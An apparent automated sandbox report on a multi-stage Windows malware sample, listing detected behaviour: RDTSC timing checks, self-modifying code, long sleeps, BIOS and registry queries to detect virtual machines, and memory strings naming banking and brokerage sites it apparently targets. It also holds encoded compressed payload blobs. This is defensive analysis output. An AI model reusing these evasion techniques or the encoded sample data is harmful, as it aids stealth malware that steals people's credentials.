Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 743133 second address: 743137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 74326C second address: 74329E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F60A4E98EFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F60A4E98F08h 0x00000011 jng 00007F60A4E98EFCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 743377 second address: 74337C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 74337C second address: 743382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7943B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Special instruction interceptor: First address: 59DB54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Special instruction interceptor: First address: 73F96B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Special instruction interceptor: First address: 7D2F05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Special instruction interceptor: First address: 58EA1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Special instruction interceptor: First address: 743642 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Special instruction interceptor: First address: 58E933 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Special instruction interceptor: First address: 7DADF4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CDEA1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E93642 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CDE933 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2ADF4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Special instruction interceptor: First address: 12543B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Special instruction interceptor: First address: D8DBD1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Special instruction interceptor: First address: D8DB17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Special instruction interceptor: First address: F37944 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Special instruction interceptor: First address: D8DAF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Special instruction interceptor: First address: FB73C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Special instruction interceptor: First address: 63DB54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Special instruction interceptor: First address: 7DF96B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Special instruction interceptor: First address: 872F05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Special instruction interceptor: First address: 53EA1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Special instruction interceptor: First address: 6F3642 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Special instruction interceptor: First address: 53E933 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Special instruction interceptor: First address: 78ADF4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Memory allocated: 4EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Memory allocated: 4D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Memory allocated: 4940000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Memory allocated: 4B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Memory allocated: 6B60000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Code function: 3_2_0070F17E rdtsc

3_2_0070F17E

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1254	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1229	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1238	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 599	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5100	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe TID: 5588	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1916	Thread sleep count: 1254 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1916	Thread sleep time: -2509254s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1936	Thread sleep count: 1229 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1936	Thread sleep time: -2459229s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3416	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4088	Thread sleep count: 335 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4088	Thread sleep time: -10050000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4328	Thread sleep count: 1238 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4328	Thread sleep time: -2477238s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2052	Thread sleep count: 765 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2052	Thread sleep time: -1530765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5608	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2752	Thread sleep count: 599 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2752	Thread sleep time: -1198599s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe TID: 6784	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe TID: 6064	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe TID: 5244	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe TID: 2192	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe TID: 2584	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe TID: 2572	Thread sleep time: -126000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe TID: 3992	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Thread delayed: delay time: 922337203685477

Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, file.exe, 00000000.00000003.2221768283.0000000000A11000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336317331.0000000000A11000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2931287187.00000121572AA000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.0000000001549000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.0000000001578000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2877033985.000000000084F000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2877033985.000000000087E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2937356698.0000029B42210000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2930456761.0000029B41A4A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.0000000001514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: firefox.exe, 0000001C.00000002.2937358038.000001215761B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: firefox.exe, 0000001C.00000002.2931287187.00000121572AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWYL
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPP=
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: YQEN9A9QU4P1VROBPV5YS.exe, YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000002.2487281362.0000000000717000.00000040.00000001.01000000.00000006.sdmp, 99Q4Y3O9GBOXYTDVM9GPHI.exe, 99Q4Y3O9GBOXYTDVM9GPHI.exe, 00000004.00000002.2462253080.0000000000723000.00000040.00000001.01000000.00000009.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766477851.0000000000F11000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000B.00000002.2785411253.0000000000E73000.00000040.00000001.01000000.0000000C.sdmp, b76bb5cee7.exe, 0000001D.00000002.2962842335.0000000000F11000.00000040.00000001.01000000.0000000F.sdmp, U2242U1STHGPPKHG.exe, 0000001E.00000002.3009618076.00000000007B7000.00000040.00000001.01000000.00000017.sdmp, KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe, 00000020.00000002.2947907757.00000000006D3000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: num.exe, 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware{
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.000000000621A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: efe6fe4127.exe, 0000000C.00000003.2822365561.00000000062E2000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2822017373.00000000062DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: firefox.exe, 0000001C.00000002.2937948375.0000012157700000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareh
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001C.00000002.2937948375.0000012157700000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2937356698.0000029B42210000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: firefox.exe, 0000001C.00000002.2937948375.0000012157700000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz
Source: firefox.exe, 00000021.00000002.2937356698.0000029B42210000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{
Source: efe6fe4127.exe, 0000000C.00000003.2937020002.00000000062E0000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2935211964.00000000062E0000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2961367554.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: wV7y48/ITdP4M/PSOAzJ/HkaLJcsjdjnhQbDyaoUAa+FMRwoWhJBvMnzeLkMaVCYG1NaWHN/aSrkxVjgiuRb9tsS8Q4WhQcbkim7iMoyOZgJl5OYrQOnOTSVgGNwOB/E3uIC6RH4THKNpfamWGBHPLBt6Lhm3xM34g7ygXlCorNUKYPh8ZZ5braau967FwbeO5o1pHIsdubrKoaNNYEeMvcDymdblm2CC0Q5VXMkOQgYohlMadka/PhNe/MD3YKpEXhNQ4LhdYiADEA6OJjsMUXFJKIDUh4dyJpiEbehY8xIhAvThNKKRcv0Q3mFBaMYnhF4fO1h6ZMFsw1XStckRVu+LYDkoBAWriOp3mrhmjo9a+gZHWRMVWxqhmGkwPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: efe6fe4127.exe, 0000000C.00000003.2818371439.0000000006215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
